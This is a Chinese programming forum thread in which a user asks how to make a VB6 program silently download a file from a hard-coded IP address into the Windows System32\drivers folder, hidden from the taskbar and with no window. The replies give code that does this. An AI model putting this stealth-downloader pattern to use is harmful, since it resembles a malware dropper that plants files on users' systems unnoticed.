只有一个FORM1窗体代码如下
Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As LongPrivate Sub Command1_Click()
URLDownloadToFile 0, "http://198.200.35.161/2.txt", "C:\Windows\System32\drivers\2.txt", 0, 0
End SubPrivate Sub Form_Load()
App.TaskVisible = False
Call Command1_Click
End Sub
运行后会弹出窗体,如果才能运行后不弹出窗体,而且运行后自动结束运行VB

解决方案 »

  1.   

    1  在 VB 界面右侧工程窗口中,移除 Form1;2  在工程菜单中选择“添加模块”3  在标准模块中添加如下代码:Private Declare Function URLDownloadToFile Lib "urlmon" Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As LongPrivate Sub Main()
    URLDownloadToFile 0, "http://198.200.35.161/2.txt", "C:\Windows\System32\drivers\2.txt", 0, 0
    End Sub4  在工程菜单中选择工程属性,确认启动对象设置为 Sub Main;5  运行。
      

  2.   


    Private Sub Main()
        URLDownloadToFile 0, "http://198.200.35.161/2.txt", "C:\Windows\System32\drivers\2.txt", 0, 0
        End
    End Sub